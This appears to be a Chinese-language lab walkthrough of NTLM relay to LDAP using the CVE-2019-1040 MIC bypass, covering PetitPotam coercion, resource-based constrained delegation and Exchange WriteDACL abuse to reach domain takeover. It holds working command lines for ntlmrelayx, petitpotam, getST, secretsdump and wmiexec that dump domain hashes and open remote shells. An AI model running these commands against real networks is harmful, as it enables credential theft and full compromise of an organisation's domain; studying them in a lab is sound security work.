NTLM 中继到 LDAP 结合 CVE-2019-1040 接管全域
目录
LDAP中继
LDAP签名
CVE-2019-1040 NTLM MIC 绕过漏洞
漏洞背景
漏洞利用链
利用方式 1:配置基于资源的约束委派-攻击域控
利用方式 2:攻击 Exchange
Exchange windows permissions 组介绍
复现
LDAP中继
LDAP(轻量级目录访问协议) 是域控制器用来访问和管理 Active Directory 的协议,它也支持 NTLM 身份验证。因此,攻击者可以利用 NTLM 中继将身份验证请求转发到 LDAP 服务,从而实现对 Active Directory 的修改或访问。
LDAP签名
LDAP签名的目的是通过对数据包进行完整性检查,防止中间人攻击和篡改请求。默认情况下,LDAP服务器是协商签名,而非强制签名。是否签名是由客户端决定的。客户端分情况,如果是smb协议的话,默认要求签名的,如果是webadv或者http协议,是不要求签名的。
通过打印机漏洞获取的net-ntlm 响应,发起的请求是Smb协议的请求,这也意味着我们客户端默认是要求签名的。所以我们需要进行绕过。
客户端将签名与否的决定通过ntlm认证中的一个标志位来发送给服务端,因为发起者是smb协议,默认这个标志位为1,服务端会选择进行签名。但是如果我们修改为0的话,又因为微软有一套MIC校验机制,将导致 MIC 无效并且身份验证失败。而CVE-2019-1040漏洞可绕过NTLM MIC的防护机制,以使我们修改标志位,来让服务器不进行 ldap 签名。在 ntlmrelayx.py 中通过设置选项 --remove-mic 来使用 CVE-2019-1040 绕过签名。
CVE-2019-1040 NTLM MIC 绕过漏洞
漏洞背景
2019年6月11日,微软发布6月份安全补丁更新。在该安全补丁更新中,对 CVE-2019-1040 漏洞进行了修复。该漏洞存在于Windwos 大部分版本中,当中间人攻击者能够成功绕过NTLM 消息完整性校验(MIC)时,Windows 存在可能可篡改的漏洞。成功利用此漏洞的攻击者可以获得降级 NTLM 安全功能的能力。要利用此漏洞,攻击者需要篡改NTLM 交换,然后修改NTLM 数据包的标志,而不会使签名无效。结合其他漏洞和机制,在某些场景下,攻击者可以在仅有一个普通账户域账户的情况下接管全域。
漏洞利用链
漏洞完整利用链需要结合NTLM Relay。完整的攻击链如下:
- 使用域内任意有效账户,通过SMB连接到目标机器,使用Print Spooler 漏洞或者PetitPotam漏洞强制触发目标机器向指定的机器进行NTLM 认证;
- 中继服务器收到目标机器的NTLM 认证流量后,通过删除相应的字段绕过NTLM 的完整性校验并修改NTLM 数据包的标志位使得其从SMB协议中继到LDAP 不需要签名;
- 使用中继的LDAP流量,通过LDAP远程连接域控,执行高权限操作,赋予指定的账户高权限;
- 使用提升了权限的账户进行“后利用”,接管全域。
1、触发目标NTLM请求
攻击者需要向目标机器发起NTLM请求才能进行NTLM Relay利用,这里可以利用使用Print Spooler 漏洞或者 PetitPotam 漏洞强制触发目标机器向指定的机器进行NTLM 认证
2、LDAP 签名绕过
由于通过Print Spooler 漏洞和PetitPotam漏洞触发的NTLM 认证都是基于SMB协议的,因此目标需要将SMB 协议的身份验证流量通过LDAP中继到域控。但是NTLM 认证的工作方式决定了无法直接将SMB协议流量中继到LDAP。默认情况下,客户端和域控或Exchange服务器进行SMB通行时,是强制要求签名的。
此时将SMB流量中继到LDAP时,由于Negotiate Sign 和 Negotiate Always Sign 标志为Set,该标志位触发LDAP签名。而我们又无法伪造签名,因此会被LDAP忽略,导致攻击失败。而 CVE-2019-1040 的关键就在于我们能绕过NTLM的消息完整性校验,导致可以任意修改NTLM认证的的数据包。因此当我们在绕过消息完整性校验之后,可以修改流量的标志位已协商不开启LDAP签名校验。
利用方式 1:配置基于资源的约束委派-攻击域控
攻击域控需要目标域内至少存在两台域控:一台用于通过 PetitPotam 触发NTLM身份验证请求。另一台用于接收中继请求到本地的LDAP服务。
- 域控 win2016:192.168.10.2
- 域控 2:192.168.10.3(为辅助域控,也可以换成其他想要被获取权限的机器)
- kali:192.168.10.17
1. 添加机器账号
利用普通域用户在域中添加一个机器账户 test$/Aa123.com,以便稍后通过 LDAP 配置 RBCD。
python3 addcomputer.py test.lab/lucy:lucy.com -computer-name test\$ -computer-pass Aa123.com -dc-ip 192.168.10.2
2. 设置NTLM中继服务器
kali启动 ntlmrelayx.py。ntlmrelayx.py 将接收的身份验证请求中继到域控制器的 LDAP 服务(192.168.10.2),同时修改域控 2 机器账号的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性为 test$ 的 sid 值。这样,test$ 就可以代表目标机器向 Kerberos 请求服务票据,从而获取域控 2 的权限。
python3 ntlmrelayx.py -t ldap://192.168.10.2 -debug --delegate-access --escalate-user test\$ -smb2support --remove-mic
● -t ldap://192.168.10.2: 指定中继的目标为 LDAP 服务。
● --delegate-access: 用于配置基于资源的约束委派。
● --escalate-user test$: 将 RBCD 的权限设置到 test$。
● --remove-mic: 通过 CVE-2019-1040 漏洞绕过NTLM MIC的防护机制,以使我们修改标志位,来让服务器不进行ldap签名。
3. 触发 NTLM 身份验证
通过 PetitPotam 触发域控 2 向 kali 发起 NTLM 身份验证请求。(在低版本 08和12下可以匿名触发,不需要域用户。在16版本及以上,就需要指定一个普通域用户账号和密码)
Kali 服务器会将这个请求中继到指定的 LDAP 服务(192.168.10.2),并尝试执行 RBCD 配置
python3 petitpotam.py -d test.lab -u lucy -p lucy.com 192.168.10.17 192.168.10.3
#192.168.10.17 kali ip
#192.168.10.3 域控2的ip
此时在ntlmrelayx.py 中可观察到,成功修改域控 2 机器账号 DC-2$ 的 "msds-allowedtoactonbehalfofotheridentity" 值为机器账号 test$的sid值。即配置基于资源的约束委派,通过设置该属性,允许机器账户 test$ 代表域控 2 上的其他用户(如 administrator)的身份执行操作。
#后面要清除DC-2$ 的 "msds-allowedtoactonbehalfofotheridentity" 值,请在dc上执行
powershell
$TargetAccountDN = "CN=DC-2,OU=Domain Controllers,DC=test,DC=lab"
Set-ADComputer -Identity $TargetAccountDN -Clear "msds-allowedtoactonbehalfofotheridentity"
#查看是否成功清除
Get-ADComputer -Identity "DC-2" -Properties * | Select-Object msds-allowedtoactonbehalfofotheridentity
4. 申请服务票据
利用 test$ 的 RBCD 权限,向 KDC 请求代表 administrator 的服务票据(TGS)
#使用getST.py申请票据
python3 getST.py test.lab/test$:Aa123.com -spn cifs/dc-2.test.lab -impersonate administrator -dc-ip 192.168.10.2
#导入票据
export KRB5CCNAME=/root/Desktop/neiwangTools/administrator@cifs_server1.test.lab@TEST.LAB.ccache
#添加hosts
vim /etc/hosts,添加 192.168.10.3 dc-2.test.lab
#导出域内hash
python3 secretsdump.py -k -no-pass dc-2.test.lab -just-dc
#获取dc-2权限
python3 wmiexec.py -k test.lab/administrator@dc-2.test.lab -no-pass -codec gbk
通过中继到 LDAP,攻击者实现了对 RBCD 的配置修改,使低权限账户(如 test$)可以代表高权限用户(如 administrator)进行操作。
利用方式 2:攻击 Exchange
Exchange windows permissions 组介绍
Microsoft Exchange Security Groups 是一组在 Exchange 安装后默认创建的 AD 安全组,其中有两个重要的组:
- Exchange Windows Permissions 组:该组的用户或计算机对象对域内其他对象(如用户、组、计算机等)具有 WriteDACL 权限,这意味着它们可以修改这些对象的访问控制列表(ACL),从而赋予他们额外的权限。
- Exchange Trusted Subsystem 组:这个组又隶属于Exchange Windows Permission,继承了Exchange Windows Permission组的权限。所以Exchange Trusted Subsystem 组的成员也拥有 writeDACL 权限。而 Exchange Trusted Subsystem 组成员默认只有 Exchange 机器账号。
如果攻击者能够利用 Exchange Trusted Subsystem 组的成员凭据,则可以
- 修改其他用户(如普通用户或高权限用户)的 ACL。
- 为目标用户(如 lucy)添加 DCSync 权限,实现权限提升。
复现
- win2012R2 系统中安装的Exchange2016:192.168.10.10
- win2016 域控:192.168.10.2
- kali:192.168.10.17
攻击流程介绍:
- 使用 petitpotam 触发 Exchange 机器账号向 ntlmrelayx.py 发起 NTLM 身份验证请求;
- ntlmrelayx.py 接收来自 Exchange 机器的 NTLM 身份验证请求,并将其中继到域控制器的 LDAP 服务(192.168.10.2)。在中继过程中,攻击者实际上借用了 Exchange 机器账号的凭据,以其身份向域控制器进行交互。
- 利用 Exchange 机器账号的 WriteDACL 权限:Exchange 机器账号 是 Exchange Trusted Subsystem 的成员,继承了 Exchange Windows Permissions 组的权限。该账号拥有对域内其他对象的 WriteDACL 权限。攻击者利用这个权限,通过 LDAP 修改目标用户(lucy)的 ACL,将 DCSync 权限(即 Replicating Directory Changes 和 Replicating Directory Changes All 权限)添加到 lucy 用户上。
- lucy 权限提升:一旦 lucy 被赋予 DCSync 权限,就能从域控导出 hash
python3 ntlmrelayx.py -t ldap://192.168.10.2 --remove-mic --escalate-user lucy -smb2support
python3 petitpotam.py -d test.lab -u lucy -p lucy.com 192.168.10.17 192.168.10.10
python3 secretsdump.py test.lab/lucy:"lucy.com"@192.168.10.2 -just-dc-ntlm
最后从域控上查看下拥有 dcsync 权限的对象,显示用户 lucy 拥有 Replicating Directory Changes 和 Replicating Directory Changes ALL 权限即 DCSync 权限。
AdFind.exe -s subtree -b "DC=test,DC=lab" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute
参考:
域控常见打法总结
奇安信攻防社区-NTLM realy